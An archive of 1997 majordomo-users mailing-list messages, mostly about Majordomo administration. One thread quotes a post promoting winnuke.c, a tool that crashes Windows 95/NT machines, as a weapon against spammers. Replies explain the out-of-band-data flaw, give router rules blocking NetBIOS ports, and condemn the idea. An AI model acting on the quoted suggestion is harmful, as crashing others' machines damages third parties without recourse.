[205.216.92.15]) by sh1.ro.com (8.8.5/8.8.4) with ESMTP id JAA28556; Wed, 4 Jun 1997 09:39:32 -0500 Message-ID: <33957F0D.22B53EDB@ro.com> Date: Wed, 04 Jun 1997 09:43:25 -0500 From: "Nimoy M. Pugh" Reply-To: npugh@ro.com Organization: Renaissance Intenet Services X-Mailer: Mozilla 4.0b4 [en] (WinNT; I) MIME-Version: 1.0 To: "William P. Barr" CC: majordomo-users@GreatCircle.COM Subject: Re: Anti-Spammer Tool X-Priority: 3 (Normal) References: <199706032223.HAA25800@kesl.kesl.net> from "Account for a Temp" at Jun 4, 97 07:23:58 am Content-Type: multipart/mixed; boundary="------------F01093B71A348E8EB8916063" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk This is a multi-part message in MIME format. --------------F01093B71A348E8EB8916063 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This is a known bug in NT/Win 95, it also is claimes to affect Windown for Workgroups. The Microsoft networking doesn't handel out of band data and bad things happen. At the least the networking will go off line at worst blue screen of death. It is suppose to drastly affect netbeui but wil also affect the tcpip ports. It would be a bad thing though if everyone started taking popshots around the internet with this thing. Firewalls and proxy servers will stop it. And some routers can filter it. I've heard that there is a microsoft fix for win95 but haven't found it or heard directly from microsoft. William P. Barr wrote: > > >>winnuke.c is a program which will crash any Windows 95/NT machine. > >>Since this operating system is popular among spammers, winnuke makes it easy > >>to get rid of them. > > >Lovely. What an idiotic suggestion. > > Actually, if it works, the only truly idiotic thing is that the target > operating systems allow the script to work in the first place! As for the > original suggestion, it looks like spam to me ... > > -- > William Barr, Stanford Computer Forum wbarr@leland.stanford.edu > > Listowner: butler-sql, harpoon, phoenix-command, tacops, > z-scale, n-scale@lists.stanford.edu > "My opinions are mine and only mine." --------------F01093B71A348E8EB8916063 Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Nimoy Pugh Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Nimoy Pugh n: Pugh;Nimoy org: Reniassance Internet Services (PIVC, L.L.C.) email;internet: npugh@ro.com title: System Administrator note: Internet today ..... Advantage tomorrow x-mozilla-cpt: ;0 x-mozilla-html: TRUE end: vcard --------------F01093B71A348E8EB8916063-- From owner-majordomo-users-outgoing Wed Jun 4 08:46:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA29151 for majordomo-users-outgoing; Wed, 4 Jun 1997 08:39:47 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA29095 for ; Wed, 4 Jun 1997 08:39:33 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA13799; Wed, 4 Jun 1997 10:43:28 -0500 (CDT) To: David Gibbs Cc: majordomo-users@GreatCircle.COM Subject: Re: MJ 2.0 (was: Re: Sendmail.cf request question) References: <3.0.1.32.19970603125101.0095cb00@mail.webcoach.com> <3.0.2.32.19970603184529.006e315c@midrange> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 04 Jun 1997 10:43:28 -0500 In-Reply-To: David Gibbs's message of Tue, 03 Jun 1997 18:45:29 -0500 Message-ID: Lines: 50 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "DG" == David Gibbs writes: DG> Speaking of which... is there a list of changes for version 2.0 that we DG> might take a peek at? No. Or "everything", depending on how you look at it. All of the code is different. If you don't like hype, then I suppose you shouldn't read further. Heck, I don't like hype, so I'll just tell you what it does right now. But before I do that, I'll tell you that it doesn't yet run a list in any useful manner because I haven't finished writing 'resend' and the delivery engine. What list members see won't change much; the confirmation stuff is much improved and members can do such things as alias other addresses that they post from and set things like digest mode and such. The email interface does MIME transparently. List owners will see a bunch more functionality, but most of the important things like the names of the config variables haven't changed. The interface to set them has changed, though; you can set a single variable without retrieving the entire file. Power list owners will see huge changes in what they can do, too much to detail here. They have fine control over what happens when any action is requested. Site owners gain remote administration; the global config is handled just as any other list. Installers should see the benefits of modern Perl, including simple Q&A installation, but I haven't written this yet. If anyone knows how to do tricks with MakeMaker, let me know. Disclaimer: Majordomo 2.0 is not released. It is not near release. It is not in beta. It is not in alpha. It is not in any Greek letter, nor in any Egyptian hieroglyphic. It is, sir, a non-program. If you intend to hold your breath waiting for it, call your funeral director now. Majordomo 2.0 is being worked on. The basic infrastructure is done and a running implementation exists. The design is still evolving. Discussion about Majordomo 2.0 is ongoing. You are getting sleepy. You will join Majordomo-Workers if you want to discuss 2.0. You will read Majordomo-Workers archives from http://www.hpc.uh.edu/majordomo-workers. You will send all of your money to Majordomo Gurus and will hire them for well paying consulting jobs. You will awake feeling rested and at peace. +*SNAP*+ From owner-majordomo-users-outgoing Wed Jun 4 09:31:34 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA05004 for majordomo-users-outgoing; Wed, 4 Jun 1997 09:16:01 -0700 (PDT) Received: from senie.com (senie.com [204.69.207.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA04937 for ; Wed, 4 Jun 1997 09:15:40 -0700 (PDT) Received: (qmail 30272 invoked from network); 4 Jun 1997 16:19:28 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 4 Jun 1997 16:19:28 -0000 Date: Wed, 4 Jun 1997 12:19:28 -0400 (EDT) From: Daniel Senie To: "Nimoy M. Pugh" cc: "William P. Barr" , majordomo-users@GreatCircle.COM Subject: Re: Anti-Spammer Tool In-Reply-To: <33957F0D.22B53EDB@ro.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 4 Jun 1997, Nimoy M. Pugh wrote: > This is a known bug in NT/Win 95, it also is claimes to affect Windown > for Workgroups. The Microsoft networking doesn't handel out of band data > and bad things happen. At the least the networking will go off line at > worst blue screen of death. It is suppose to drastly affect netbeui but > wil also affect the tcpip ports. > > It would be a bad thing though if everyone started taking popshots > around the internet with this thing. Firewalls and proxy servers will > stop it. And some routers can filter it. > > I've heard that there is a microsoft fix for win95 but haven't found it > or heard directly from microsoft. Last I heard, Microsoft was telling folks to filter the traffic in their firewalls or routers. Filters for OpenROUTE Networks. add profile netbios add filter netbios.blockudp protocol=udp dp=137-139 action=block add filter netbios.blocktcp protocol=tcp dp=137-139 action=block Then attach the profile netbios to any interface where you want to filter the stuff out. > > William P. Barr wrote: > > > > >>winnuke.c is a program which will crash any Windows 95/NT machine. > > >>Since this operating system is popular among spammers, winnuke makes it easy > > >>to get rid of them. > > > > >Lovely. What an idiotic suggestion. > > > > Actually, if it works, the only truly idiotic thing is that the target > > operating systems allow the script to work in the first place! As for the > > original suggestion, it looks like spam to me ... > > > > -- > > William Barr, Stanford Computer Forum wbarr@leland.stanford.edu > > > > Listowner: butler-sql, harpoon, phoenix-command, tacops, > > z-scale, n-scale@lists.stanford.edu > > "My opinions are mine and only mine." --------------------------------------------------------------- Daniel Senie Internet: dan@senie.com, Daniel Senie Consulting n1jeb@senie.com http://www.senie.com From owner-majordomo-users-outgoing Wed Jun 4 09:47:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA08634 for majordomo-users-outgoing; Wed, 4 Jun 1997 09:34:50 -0700 (PDT) Received: from turbot.dfo.ca (cod.dfo.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA08553 for ; Wed, 4 Jun 1997 09:34:31 -0700 (PDT) Received: tid NAA24100; Wed, 4 Jun 1997 13:38:38 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for Majordomo-Users@GreatCircle.COM id NAA20513; Wed, 4 Jun 1997 13:36:32 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199706041636.NAA20513@ecology.bio.dfo.ca> Subject: Anti-Spammer Tool, & replies To: Majordomo-Users@GreatCircle.COM (Majordomo Users) Date: Wed, 4 Jun 1997 13:36:22 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Account for a Temp wrote: >winnuke.c is a program which will crash any Windows 95/NT machine. The interesting point about this absurd discussion for me is that no one has commented on whether it is appropriate to impose punishment without a fair trial, as well as using this mailing list to distribute a program that claims (boasts!) that it is a threat to Internet security. I hope that nobody decides that because I am posting a message to this list that doesn't concern Majordomo, that makes me a spammer, and thus liable to ruthless justice. Bill -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-users-outgoing Wed Jun 4 10:47:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA13263 for majordomo-users-outgoing; Wed, 4 Jun 1997 10:04:28 -0700 (PDT) Received: from balltown.cma.com (balltown.cma.com [149.19.1.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA13245 for ; Wed, 4 Jun 1997 10:04:20 -0700 (PDT) Received: from skipper (welty@skipper.balltown.cma.com [149.19.1.19]) by balltown.cma.com (8.7.1/CMA02) with SMTP id NAA12103; Wed, 4 Jun 1997 13:08:28 -0400 (EDT) Message-ID: <3395A104.FF6D5DF@balltown.cma.com> Date: Wed, 04 Jun 1997 13:08:20 -0400 From: richard welty Organization: New York State Institute for Sebastian Cabot Studies X-Mailer: Mozilla 3.0 (X11; I; SunOS 4.1.3_U1 sun4m) MIME-Version: 1.0 To: Bill Silvert CC: Majordomo Users Subject: Re: Anti-Spammer Tool, & replies References: <199706041636.NAA20513@ecology.bio.dfo.ca> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Bill Silvert wrote: > Account for a Temp wrote: > >winnuke.c is a program which will crash any Windows 95/NT machine. > The interesting point about this absurd discussion for me is that no one > has commented on whether it is appropriate to impose punishment without > a fair trial, as well as using this mailing list to distribute a program > that claims (boasts!) that it is a threat to Internet security. i've been waiting for someone to do that. first of all, any counter attack in this manner is probably actionable second of all, even if it weren't, it's certainly on questionable ethical ground. let's not sink to the level of the spammers. richard (and now back to your regularly scheduled discussions of majordomo.com) From owner-majordomo-users-outgoing Wed Jun 4 11:17:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA26990 for majordomo-users-outgoing; Wed, 4 Jun 1997 11:11:32 -0700 (PDT) Received: from emerald (emerald.omg.org [192.67.184.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA26788 for ; Wed, 4 Jun 1997 11:10:37 -0700 (PDT) Received: from elessar.omg.org by emerald (SMI-8.6/SMI-SVR4) id OAA23818; Wed, 4 Jun 1997 14:16:59 -0400 Message-Id: <3.0.32.19970604141310.006c78a8@emerald.omg.org> X-Sender: monika@emerald.omg.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 04 Jun 1997 14:13:10 -0400 To: majordomo-users@greatcircle.com From: Monika Adamczyk Subject: disk space required for majordomo Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have a trivial question but I couldn't find this info in the FAQ. How much disk space majordomo requires for installation. I need the program asap but we are very low on space on our server (Solaris 2.5 if this is relevant) and waiting for a new disk drive. I assume that each list take additional amount of the space but that I can figure out myself based on my old archives. Monika From owner-majordomo-users-outgoing Wed Jun 4 12:02:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA01784 for majordomo-users-outgoing; Wed, 4 Jun 1997 11:40:38 -0700 (PDT) Received: from math.psu.edu (leibniz.math.psu.edu [146.186.130.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA01757 for ; Wed, 4 Jun 1997 11:40:26 -0700 (PDT) Received: from augusta.math.psu.edu (root@augusta.math.psu.edu [146.186.132.2]) by math.psu.edu (8.8.5/8.7.3) with ESMTP id OAA18689; Wed, 4 Jun 1997 14:44:09 -0400 (EDT) Received: from math.psu.edu (barr@localhost [127.0.0.1]) by augusta.math.psu.edu (8.8.5/8.6.9) with ESMTP id OAA19652; Wed, 4 Jun 1997 14:44:08 -0400 (EDT) Message-Id: <199706041844.OAA19652@augusta.math.psu.edu> To: Monika Adamczyk cc: majordomo-users@GreatCircle.COM Subject: Re: disk space required for majordomo In-reply-to: Your message of "Wed, 04 Jun 1997 14:13:10 EDT." <3.0.32.19970604141310.006c78a8@emerald.omg.org> References: <3.0.32.19970604141310.006c78a8@emerald.omg.org> X-Face: $+9-wYg.[->94HJ{go[7Q]E!K&hUg7ZhLyCMyq_FU*ca0GazE>^/2BKLcK0bP-'%;Nn?M+am,jlSP>1K$iz@ %'v'FEW{@](U&Ed/}>ju3Ctlr!XwJ27Q)7h2a%"`sz;j:/3EC[mXi@*X@HE1]'ddq$ZX"ePsMyTkeg >zdML.SVvX1W`adGIUD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Jun 1997 14:44:07 -0400 From: Dave Barr Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk In message <3.0.32.19970604141310.006c78a8@emerald.omg.org>, Monika Adamczyk wr ites: >I have a trivial question but I couldn't find this info in the FAQ. >How much disk space majordomo requires for installation. Majordomo itself requires a trivial amount of space. The only thing that requires a appreciable amount of space is list archives, if you keep any, and after some time the Log file and list subscription files. 5 or 10MB in all would be considered well above average. --Dave From owner-majordomo-users-outgoing Wed Jun 4 12:15:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA01162 for majordomo-users-outgoing; Wed, 4 Jun 1997 11:36:14 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA01024 for ; Wed, 4 Jun 1997 11:35:26 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id OAA12482 for ; Wed, 4 Jun 1997 14:39:10 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id OAA31056; Wed, 4 Jun 1997 14:39:10 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: disk space required for majordomo References: <3.0.32.19970604141310.006c78a8@emerald.omg.org> X-No-Archive: yes Date: 04 Jun 1997 14:39:09 -0400 In-Reply-To: Monika Adamczyk's message of Wed, 04 Jun 1997 14:13:10 -0400 Message-ID: Lines: 31 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "MA" == Monika Adamczyk writes: MA> I have a trivial question but I couldn't find this info in the FAQ. MA> How much disk space majordomo requires for installation. Less than 2Mb for the Majordomo programs themselves, plus whatever you need for the mailing lists themselves, plus whatever is required in the outgoing mail queue. A list configuration file is approximately 15Kb; the sizes of the rest of the files associated with a mailing list vary tremendously. You do not want to cut things too closely (especially with /tmp) because if the disk runs out of space while Majordomo is attempting to update a file the entire file could be lost (worst case scenario). -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5W2S56VRH7BJMxHAQHVWgP9GHpm18ueFWbvlURyNZ5wckreKNYarPVf ciGdiUKNRAo0k24knTOOh31NIOhdRPoRio40oOHSXP6hqnlyqXC8GRyqCkACSAi7 9Ij7QdiP4l95tQUa4slVcsZ1/qyufS2Ra89ib/Gg63nUjndDBgoh7I4Mi2iEbp2u dHmrwpZz9ZU= =sM0n -----END PGP SIGNATURE----- -- Rich Pieri | Do not use Happy Fun Ball on Prescient Technologies, Inc. | concrete. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Wed Jun 4 12:28:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA04450 for majordomo-users-outgoing; Wed, 4 Jun 1997 11:55:56 -0700 (PDT) Received: from greatdane.webnexus.com (greatdane.webnexus.com [165.227.96.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA04393 for ; Wed, 4 Jun 1997 11:55:35 -0700 (PDT) Received: from dalmatian.webnexus.com (dalmatian.webnexus.com [165.227.96.4]) by greatdane.webnexus.com (8.8.5/8.8.5/WN-1.2) with ESMTP id LAA00687; Wed, 4 Jun 1997 11:59:23 -0700 (PDT) Received: (from kovar@localhost) by dalmatian.webnexus.com (8.8.5/8.8.5/WN-1.2) id LAA02915; Wed, 4 Jun 1997 11:59:22 -0700 (PDT) From: David Kovar Message-Id: <199706041859.LAA02915@dalmatian.webnexus.com> Subject: Re: disk space required for majordomo To: monika@omg.org (Monika Adamczyk) Date: Wed, 4 Jun 1997 11:59:22 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: <3.0.32.19970604141310.006c78a8@emerald.omg.org> from "Monika Adamczyk" at Jun 4, 97 02:13:10 pm X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Very quick answer: sysadmin@postal # du -s majordomo 2822 majordomo sysadmin@postal # uname -a SunOS postal 5.5.1 Generic sun4m sparc SUNW,SPARCstation-20 That is including all of my lists so far (15), some tools, and the aliases file just for the majordomo lists. That is not including digests or archives. -David > > I have a trivial question but I couldn't find this info in the FAQ. > How much disk space majordomo requires for installation. > I need the program asap but we are very low on space on our server > (Solaris 2.5 if this is relevant) and waiting for a new disk drive. > I assume that each list take additional amount of the space but that > I can figure out myself based on my old archives. > > Monika > From owner-majordomo-users-outgoing Wed Jun 4 13:45:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA15126 for majordomo-users-outgoing; Wed, 4 Jun 1997 12:57:57 -0700 (PDT) Received: from icarus.yml.com (icarus.yml.com [207.226.52.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA10364 for ; Wed, 4 Jun 1997 12:30:20 -0700 (PDT) Received: from localhost (buffalo@localhost) by icarus.yml.com (8.7.6/8.7.3) with SMTP id PAA06488 for ; Thu, 5 Jun 1997 15:42:23 -0400 Date: Thu, 5 Jun 1997 15:42:23 -0400 (EDT) From: Duncan Sterling To: majordomo-users@GreatCircle.COM Subject: Spam filter again? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I accidentally deleted the 'spam filter' posts of last night/this morning. Can someone forward them to me? Thanks! --Duncan From owner-majordomo-users-outgoing Wed Jun 4 14:17:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA13350 for majordomo-users-outgoing; Wed, 4 Jun 1997 12:47:38 -0700 (PDT) Received: from antequera (antequera.antequera.com [167.114.36.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id MAA13302 for ; Wed, 4 Jun 1997 12:47:24 -0700 (PDT) From: javiers@antequera.antequera.com Received: by antequera (SMI-8.6/SMI-SVR4) id OAA26034; Wed, 4 Jun 1997 14:49:15 -0500 Date: Wed, 4 Jun 1997 14:49:15 -0500 Message-Id: <199706041949.OAA26034@antequera> To: npugh@ro.com, dts@senie.com Subject: Re: Anti-Spammer Tool Cc: wbarr@leland.Stanford.EDU, majordomo-users@GreatCircle.COM X-Sun-Charset: US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >> >> It would be a bad thing though if everyone started taking popshots >> around the internet with this thing. Firewalls and proxy servers will >> stop it. And some routers can filter it. >> >> I've heard that there is a microsoft fix for win95 but haven't found it >> or heard directly from microsoft. Yes. There a fix in ftp.microsoft.com Look in the map file =) Javier From owner-majordomo-users-outgoing Wed Jun 4 14:23:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA18594 for majordomo-users-outgoing; Wed, 4 Jun 1997 13:13:30 -0700 (PDT) Received: from puppy.easynet.on.ca (puppy.easynet.on.ca [206.116.240.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id NAA18535 for ; Wed, 4 Jun 1997 13:13:16 -0700 (PDT) Received: from tass.easynet.on.ca (tass.easynet.on.ca [206.116.240.24]) by puppy.easynet.on.ca (8.6.12/8.6.9) with SMTP id QAA11913; Wed, 4 Jun 1997 16:16:26 -0400 Message-Id: <3.0.1.32.19970604161630.0075b5c8@easynet.on.ca> X-Sender: tass@easynet.on.ca X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Wed, 04 Jun 1997 16:16:30 -0400 To: "Brian L. Heess - home" , majordomo-users@GreatCircle.COM From: Tass Chapman -Easynet System Admin Subject: Re: Anti-Spammer Tool In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 12:57 AM 6/4/97 -0400, Brian L. Heess - home wrote: >Does anybody here already have a good list of ip's/domains or anything that >would useful in blocking that spam attacks (as they relate to mailing >lists). Even better, the cisco configs for them, since I am quite >proficient in murdering my routers... If anyone has this list could you either post it here or email me a copy as well? Thanx end |Tass Chapman| tass@easynet.on.ca : m.chapman@ieee.org | | http://www.easynet.on.ca/tass : ICQ UIN:394570 | |EasyNet Systems Admin 519-654-9999 | I'd rather have a bottle in front of me, than a frontal lobotomy. From owner-majordomo-users-outgoing Wed Jun 4 14:31:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA13694 for majordomo-users-outgoing; Wed, 4 Jun 1997 12:49:32 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA13431 for ; Wed, 4 Jun 1997 12:48:27 -0700 (PDT) Received: from turbot.dfo.ca (cod.dfo.ca [142.2.18.252]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id MAA24222 for ; Wed, 4 Jun 1997 12:36:56 -0700 (PDT) Received: tid QAA17787; Wed, 4 Jun 1997 16:34:14 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for Majordomo-Users@GreatCircle.COM id QAA24452; Wed, 4 Jun 1997 16:32:05 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199706041932.QAA24452@ecology.bio.dfo.ca> Subject: Fighting Spams To: Majordomo-Users@GreatCircle.COM (Majordomo Users) Date: Wed, 4 Jun 1997 16:31:55 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Brian L. Heess asks: >Does anybody here already have a good list of ip's/domains or anything that >would useful in blocking that spam attacks (as they relate to mailing >lists). Even better, the cisco configs for them, since I am quite >proficient in murdering my routers... I've been thinking that if we had a special mailing list just for killing spams it might make life simpler. I seem to spend quite a bit of time adding taboo entries to majordomo.cf, and it might help if these were circulated in ready to copy-and-paste format. It would be even simpler if the taboo files could be separated from majordomo.cf, so that it would be easy to pipe the messages into a program that would extract the entry lines and append them to the file, perhaps after a quick syntax check. I don't know whether this has been suggested as a 2.0 feature, but something like the include option in a sendmail alias file would facilitate this while maintaining backwards compatibility. Bill -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-users-outgoing Wed Jun 4 14:46:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA05358 for majordomo-users-outgoing; Wed, 4 Jun 1997 14:45:05 -0700 (PDT) Received: from ifi.uio.no (ifi.uio.no [129.240.64.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA05333 for ; Wed, 4 Jun 1997 14:44:57 -0700 (PDT) Received: from baugi.ifi.uio.no (1368@baugi.ifi.uio.no [129.240.64.36]) by ifi.uio.no with ESMTP (8.6.11/ifi2.4) id for ; Wed, 4 Jun 1997 23:48:46 +0200 Received: (from thomasg@localhost) by baugi.ifi.uio.no ; Wed, 4 Jun 1997 23:48:44 +0200 (MET DST) Date: Wed, 4 Jun 1997 23:48:43 +0200 From: Thomas Gramstad Reply-To: thomasg@ifi.uio.no To: majordomo-users@GreatCircle.COM Subject: Re: disk space required for majordomo In-Reply-To: David Kovar 's message of Wed, 4 Jun 1997 11:59:22 -0700 (PDT) References: <199706041859.LAA02915@dalmatian.webnexus.com> Message-ID: Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk ... > That is not including digests or archives. So if you don't want a particular list to be archived, what do you do? (i.e., what do you differently in the creation and setup of the list?) From owner-majordomo-users-outgoing Wed Jun 4 15:13:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA04173 for majordomo-users-outgoing; Wed, 4 Jun 1997 14:36:29 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA04158 for ; Wed, 4 Jun 1997 14:36:24 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id QAA04378 for ; Wed, 4 Jun 1997 16:40:13 -0500 (CDT) Date: Wed, 4 Jun 1997 16:40:12 -0500 (CDT) From: Ray Jones cc: Majordomo Users Subject: Re: Anti-Spammer Tool, & replies In-Reply-To: <3395A104.FF6D5DF@balltown.cma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 4 Jun 1997, richard welty wrote: > first of all, any counter attack in this manner is probably > actionable > > second of all, even if it weren't, it's certainly on questionable > ethical ground. > > let's not sink to the level of the spammers. All of which are valid. Don't forget, however, that unless you're better than the spammers, they might retaliate against the one who did it. If someone can figure out their address, it is possible they could trace back the attacker's address as well. All of this, of course, presupposes the fact that the whole idea of attacking them (while providing some small satisfaction in the short term - grin) would be far lower than the level of the spammers. -- Regards, "Big Ray the Buggy Driver" Jones - Licensed Tour Guide ICQ UIN 1473313 Disseminating information about New Orleans worldwide via my web page at http://www.neosoft.com/~rayjones/welcome.html or you can join "Big Ray's" New Orleans Mailing List by sending: subscribe noml To: majordomo@communique.net From owner-majordomo-users-outgoing Wed Jun 4 15:32:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA10053 for majordomo-users-outgoing; Wed, 4 Jun 1997 15:24:29 -0700 (PDT) Received: from presence.lglobal.com (presence.lglobal.com [207.107.12.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA10046 for ; Wed, 4 Jun 1997 15:24:24 -0700 (PDT) Received: from presence.lglobal.com (jesse@presence.lglobal.com [207.107.12.2]) by presence.lglobal.com (8.8.5/8.6.12) with SMTP id SAA27566 for ; Wed, 4 Jun 1997 18:47:09 -0400 (EDT) Date: Wed, 4 Jun 1997 18:47:09 -0400 (EDT) From: Jesse Hirsh To: majordomo-users@GreatCircle.COM Subject: MAJORDOMO ABORT (mj_majordomo) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Anyone know how to solve this? mj 1.94.3 perl 5.003 linux 2.0.30 thanks ---------- Forwarded message ---------- Date: Wed, 4 Jun 1997 17:59:15 -0400 From: majordomo@mcluhan.utoronto.ca To: Majordomo-Owner@mcluhan.utoronto.ca Subject: MAJORDOMO ABORT (mj_majordomo) -- MAJORDOMO ABORT (mj_majordomo)!! majordomo@mcluhan.utoronto.ca: not replying to MAILER-DAEMON to avoid mail loop. From owner-majordomo-users-outgoing Wed Jun 4 15:38:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA06945 for majordomo-users-outgoing; Wed, 4 Jun 1997 14:55:23 -0700 (PDT) Received: from ncr-sd.SanDiegoCA.NCR.COM (h153-64-252-2.NCR.COM [153.64.252.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA06930 for ; Wed, 4 Jun 1997 14:55:13 -0700 (PDT) Received: from bill-houle (bill-houle.SanDiegoCA.NCR.COM [153.64.69.200]) by ncr-sd.SanDiegoCA.NCR.COM (8.8.5/8.7.3) with SMTP id OAA13198; Wed, 4 Jun 1997 14:57:22 -0700 (PDT) Message-Id: <3.0.32.19970604145922.00904670@www.sandiegoca.ncr.com> X-Sender: bhoule@www.sandiegoca.ncr.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 04 Jun 1997 15:06:55 -0700 To: bill@ecology.bio.dfo.ca (Bill Silvert), Majordomo-Users@GreatCircle.COM 